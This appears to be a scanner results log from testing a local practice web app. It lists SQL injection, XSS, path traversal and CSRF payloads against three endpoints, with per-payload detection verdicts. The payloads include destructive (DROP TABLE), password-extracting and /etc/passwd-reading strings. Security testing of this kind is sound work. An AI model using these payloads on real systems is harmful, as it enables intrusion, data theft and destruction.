csrf	http://localhost:8000/vulnerabilities/cryptography	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/cryptography	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/cryptography	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/cryptography	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/cryptography	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.03s

csrf	http://localhost:8000/vulnerabilities/cryptography	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR 1=1 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	'; DROP TABLE users; --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1' ({	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/upload	admin' --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	1' OR sleep(5)--	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/upload	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/upload	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/upload	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	<script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.02s

xss	http://localhost:8000/vulnerabilities/upload	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	Click	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	<script>$=1,alert($)</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	<script>alert(1)	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<script>alert(1)<!--XSS	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/upload	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/upload	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/upload	../../etc/passwd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/upload	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/upload	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/upload	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/upload	Click Me	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/upload	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/upload	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/upload	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/upload	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/upload	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/upload	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/vulnerabilities/upload	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR 1=1 --	SQL Injection	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli	'; DROP TABLE users; --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1' /*	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1' ({	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli	admin' --	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1' #	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/sqli	1' OR sleep(5)--	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' UNION SELECT NULL, NULL, NULL --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' AND 1=2 UNION SELECT 1,2,3 --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR EXISTS(SELECT * FROM users) --	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	SQL Injection	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	<iframe src="javascript:alert("XSS")"></iframe>	No vulnerability detected	200	0.01s

xss	http://localhost:8000/vulnerabilities/sqli	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/sqli	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	<script>$=1,alert($)</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<script>alert(1)	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/sqli	<script>alert(1)<!--XSS	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/sqli	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/sqli	../../etc/passwd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/sqli	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/sqli	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/sqli	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/sqli	Click Me	CSRF	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli	<img src='http://example.com/api/setusername?username=CSRFd'>	CSRF	200	0.01s

csrf	http://localhost:8000/vulnerabilities/sqli	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/sqli	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/sqli	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	CSRF	200	0.02s

csrf	http://localhost:8000/vulnerabilities/sqli	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s